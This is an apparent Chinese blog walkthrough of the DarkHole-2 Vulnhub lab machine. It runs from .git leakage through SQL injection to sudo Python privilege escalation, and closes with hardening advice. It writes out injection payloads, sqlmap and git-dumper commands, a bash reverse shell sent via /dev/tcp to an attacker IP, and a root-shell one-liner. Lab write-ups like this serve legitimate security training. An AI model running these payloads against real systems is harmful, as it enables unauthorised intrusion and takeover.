DarkHole-2 靶机渗透:从 Git 泄露到 Python Sudo 提权的 5 步完整复现
📅 2026/7/11 10:51:40
👁️ 阅读次数
📝 编程学习
DarkHole-2 靶机渗透实战:从 Git 泄露到 Python Sudo 提权的深度解析
1. 靶机环境与渗透测试概述
DarkHole-2 是 Vulnhub 平台上的一款中等难度渗透测试靶机,专为网络安全学习者和渗透测试初学者设计。这个靶机模拟了一个存在多个安全漏洞的 Web 应用环境,涵盖了从信息收集到权限提升的完整渗透流程。
核心渗透路径:
.git目录泄露导致源码暴露- 基于源码分析的凭证获取
- SQL 注入漏洞利用
- 内网服务端口转发与利用
- Python Sudo 权限提升
2. 信息收集与初始访问
2.1 网络扫描与端口探测
使用 Nmap 进行基础扫描是渗透测试的第一步,它能帮助我们快速识别目标系统开放的服务和潜在攻击面:
nmap -sV -p- 192.168.56.105典型扫描结果:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.292.2 Web 目录枚举与 Git 泄露
通过目录扫描工具发现.git目录是本次渗透的关键突破口。使用git-dumper工具可以完整下载 Git 仓库:
pip install git-dumper git-dumper http://192.168.56.105/.git/ darkhole_srcGit 历史分析技巧:
- 查看提交记录:
git log - 分析代码变更:
git diff <commit_hash> - 恢复删除内容:
git checkout <file_path>
提示:Git 泄露常导致敏感信息暴露,如数据库凭证、API 密钥等,应作为渗透测试的重点检查项。
3. SQL 注入漏洞深度利用
3.1 手动注入技术解析
通过分析获取的源码,发现id参数存在字符型单引号闭合的 SQL 注入。以下是完整的注入流程:
注入点验证:
?id=1' and '1'='1 -- 页面正常 ?id=1' and '1'='2 -- 页面异常列数判断:
?id=1' order by 6-- - -- 正常 ?id=1' order by 7-- - -- 报错联合查询利用:
?id=-1' union select 1,database(),3,4,5,6-- -3.2 自动化工具与手动注入对比
| 方法 | 优点 | 缺点 |
|---|---|---|
| 手动注入 | 精准控制,绕过WAF | 耗时,技术要求高 |
| sqlmap | 自动化,功能全面 | 特征明显,易被拦截 |
sqlmap 基本用法:
sqlmap -u "http://192.168.56.105/dashboard.php?id=1" --cookie="PHPSESSID=xxx" -D darkhole_2 --dump4. 内网横向移动技术
4.1 SSH 凭证利用
从 SQL 注入获取的 SSH 凭证(jehad/fool)可用于建立初始立足点:
ssh jehad@192.168.56.105基础权限检查命令:
id # 查看当前用户权限 sudo -l # 检查sudo权限 find / -perm -u=s -type f 2>/dev/null # 查找SUID文件4.2 端口转发与本地服务利用
发现靶机内部运行的 9999 端口服务是关键突破口。通过 SSH 本地端口转发实现访问:
ssh -L 9999:localhost:9999 jehad@192.168.56.105Web 命令执行漏洞利用:
curl "http://localhost:9999/?cmd=whoami" # 确认命令执行 curl "http://localhost:9999/?cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'" # 反弹shell5. 权限提升与 root 获取
5.1 历史记录分析
通过检查用户历史记录发现关键线索:
cat /home/losy/.bash_history5.2 Python Sudo 提权技术
发现 losy 用户具有无需密码执行 Python 的特权,这是典型的权限配置错误:
sudo -l # 显示:(root) NOPASSWD: /usr/bin/python3提权利用代码:
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'原理分析:
os.setuid(0)将进程用户ID设置为rootos.system()以root权限执行系统命令- 整个过程利用了错误的sudo配置绕过密码验证
6. 防御建议与安全加固
6.1 Git 泄露防护
- 生产环境禁用
.git目录访问 - 使用
git-secrets扫描敏感信息 - 部署前清理提交历史
6.2 SQL 注入防护
// 不安全方式 $query = "SELECT * FROM users WHERE id = '$_GET[id]'"; // 安全方式(使用预处理) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);6.3 权限配置最佳实践
- 遵循最小权限原则
- 定期审计sudoers文件
- 避免直接授权解释器执行权限
7. 渗透测试方法论总结
DarkHole-2 靶机展示了从外网渗透到内网横向移动,最终获取系统最高权限的完整过程。在实际渗透测试中,这种系统性的思维方式比单个漏洞利用更为重要。每个环节获取的信息都应被充分记录和分析,因为它们可能成为后续攻击的跳板。
编程学习
技术分享
实战经验